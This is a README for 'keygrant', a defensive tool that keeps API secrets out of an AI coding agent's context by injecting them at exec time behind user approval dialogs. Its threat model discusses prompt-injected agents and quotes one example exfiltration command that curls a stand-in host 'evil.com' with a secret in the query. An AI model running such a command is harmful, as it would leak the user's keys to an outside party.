keygrant

Per-command secret injection for AI coding agents. Secrets live in a local DPAPI-encrypted vault; the model's context only ever sees secret names — values are injected into the child process environment at exec time, and all output is redacted before it returns to the model.

Why: anything placed in an LLM's context can be exfiltrated (prompt injection, logs, generated code). The fix is architectural: keys never enter context, only the execution environment.

Docs: quickstart, every command, and how approvals, redaction and cloud sync work: https://keygrant.app/docs/

Components

• keygrant.py — vault + CLI

  • keygrant set NAME [--desc TEXT] — store a secret (value via stdin, never argv)

  • keygrant list / rm NAME

  • keygrant exec [--redact] NAMES -- CMD — run CMD with secrets injected

  • keygrant revoke NAME|--all — revoke active approval grants

  • keygrant init — wire up a project (.mcp.json + CLAUDE.md guidance)

• keygrant_mcp.py — MCP server (stdio JSON-RPC, zero deps)

  • list_secrets — names/descriptions/usage only, never values

  • exec_with_secrets — server-side exec with injection + forced output redaction

  • deliberately no set/store tool: writing a value through the model would put it in context; values enter out-of-band via the CLI only

Related MCP server: vault-mcp

Install

As a Claude Code plugin

The plugin bundles the MCP server and a skill that teaches Claude to use it, so there's no per-project setup. It needs uv.

/plugin marketplace add bazingaedward/keygrant
/plugin install keygrant@keygrant

Add secrets from your terminal with uvx keygrant==0.1.11 set NAME, or install the CLI as below.

As a CLI and MCP server

uv tool install keygrant     # or: pipx install keygrant

Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare pip install there fails; uv fetches a suitable Python automatically.

Then, in each project where agents should use secrets:

keygrant init

init adds a keygrant entry to the project's .mcp.json (merging with any existing servers) and appends usage guidance for the model to CLAUDE.md, both idempotently. Restart Claude Code in that folder to load the server.

macOS

Values live in the login Keychain; approval is a native dialog.

Threat model

What this protects against:

• Context exfiltration — a prompt-injected agent (or plain logging) leaking a secret that sits in model context. Values never enter context: the model only handles names; decryption and injection happen in the executing process.

• Output leaks — an agent echoing a secret back. All output returned to the model is redacted, including base64, hex, and URL-encoded variants.

• Grant riding — reusing an approval for something the user never saw. A grant covers one exact command string in one agent session, expires after 15 minutes, and lives only in the MCP server's memory — there is no grants file to forge. A wider session grant exists only when the user explicitly picks "Allow 30 min". The CLI never reuses a grant.

• Silent use — every new command requires explicit user approval; the dialog shows the full command (over-long commands are refused, not truncated); timeout means deny.

What this does NOT protect against (known residual risks):

• A compromised agent can request a command that exfiltrates the secret over the network (curl evil.com?k=%KEY%). The approval dialog shows the full command — reviewing it is the control. Per-secret egress allowlists (binding a key to permitted destination hosts) are on the roadmap.

• Indirection: approving sh deploy.sh approves whatever deploy.sh does, and the agent may have written that file. Treat script invocations as approving the script.

• Redaction is a second line of defense, not a guarantee: novel encodings can evade it. The primary guarantee remains "values never enter context".

• Anything running as the same OS user can read the DPAPI vault. This tool scopes agent access to secrets; it is not a defense against local malware.

Approval

Every use of a secret — via the CLI or the MCP server — requires the user's approval through a native, topmost dialog that shows the full command (deny by default on a 60s timeout). Through the MCP server, approving lets that exact command reuse the secret for 15 minutes in that session — handy for retries — while any other command prompts again. To stop the prompts during a burst of work, pick Allow 30 min instead: that agent session may then use the secrets shown in any command for 30 minutes without asking (macOS and Linux; Windows dialogs offer per-command approval only). It is an explicit opt-in — the default button is still Deny — and while it lasts you are no longer reviewing individual commands. Grants are held in the server's memory only. The CLI prompts on every keygrant exec, so an agent cannot bypass MCP approval by shelling out to it. keygrant revoke NAME|--all voids earlier grants in every running session. The dialog will be replaced by a resident tray app with toast notifications; the grant semantics stay the same.

Storage

• Windows: values DPAPI-encrypted (per-user) inside %USERPROFILE%\.keygrant\vault.json. Not %APPDATA%: packaged apps such as the Claude desktop app see a private copy of %APPDATA%, so the MCP server they launch and the CLI in a normal terminal would read different vaults. Up to 0.1.6 the vault lived in %APPDATA%\keygrant\. The CLI and the MCP server merge it into the new home on every start: only names the new vault has never seen from the old one, never overwriting, so a secret you delete does not come back. The old files stay, so a 0.1.6 install keeps working while you upgrade.

• macOS: values in the login Keychain (via the security CLI; the first read triggers the OS Keychain permission prompt — an extra OS-level gate); ~/.config/keygrant/vault.json holds metadata only

• Linux: values in the Secret Service keyring via secret-tool (libsecret-tools + a running keyring daemon; approval dialogs need zenity); the vault file holds metadata only

The vault file also records usage metadata (use count, last used) as the seed of an audit trail. Set KEYGRANT_HOME to keep the vault somewhere else on any platform.

Cloud sync (preview)

Optional end-to-end encrypted sync between your devices (uv tool install 'keygrant[cloud]'). Values are encrypted on the device; the server only ever stores ciphertext. Nothing is uploaded until you push.

First device

uv tool install 'keygrant[cloud]'
keygrant cloud init        # choose a password; prints your Emergency Kit
keygrant push STRIPE_KEY   # upload an existing local secret

Write the Emergency Kit (Account ID + Secret Key) down and keep it offline. Your data can only be decrypted with your password and the Secret Key; nobody, including keygrant, can recover either for you.

More devices — the old device must be online (it can be over SSH or remote desktop; pairing needs both devices at once, not in one place):

keygrant devices add       # old device: shows a pairing code
keygrant pair              # new device: enter the code

Both screens then show a fingerprint. Check they match before typing yes on the old device — that check is what stops a malicious server from slipping in its own device. The new device asks for your password once.

Day to day

echo "sk-..." | keygrant set STRIPE_KEY && keygrant push STRIPE_KEY   # add / change
keygrant push --delete STRIPE_KEY                                     # remove everywhere
keygrant sync                                                          # pull now

list and exec also pull changes on their own (at most once a minute, silently skipped when offline). If two devices change the same secret, the later push is refused until you sync; a local edit you haven't pushed is never overwritten.

Lost every device? On a new machine, keygrant recover joins with the Emergency Kit and your password alone (accounts created before 0.1.4: run keygrant cloud enable-recovery once on an existing device).

Approve from your phone — run keygrant devices add and enter the code at https://app.keygrant.app on your phone; the same fingerprint check makes that browser a trusted approver. When nobody answers the desktop dialog, the request goes to that page instead; an explicit Deny on the desktop is final. The browser can approve and see names, never values.

Leave — keygrant cloud delete destroys the account and all ciphertext; secrets stay on each machine as local-only entries.

Design and threat model: docs/design/cloud-sync-client.md.

Roadmap (prototype → product)

1. Resident tray app (replaces the modal dialog; approval history, revoke UI)

2. Per-secret egress allowlists (bind a key to permitted destination hosts)

3. Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)

Windows session approval

The Windows approval dialog supports Allow 30 min for MCP calls. It covers only the displayed secrets in that MCP server process. Deny is the default; Esc and window close deny access. CLI calls still require individual approval. Restart an existing MCP connection after installing this local update.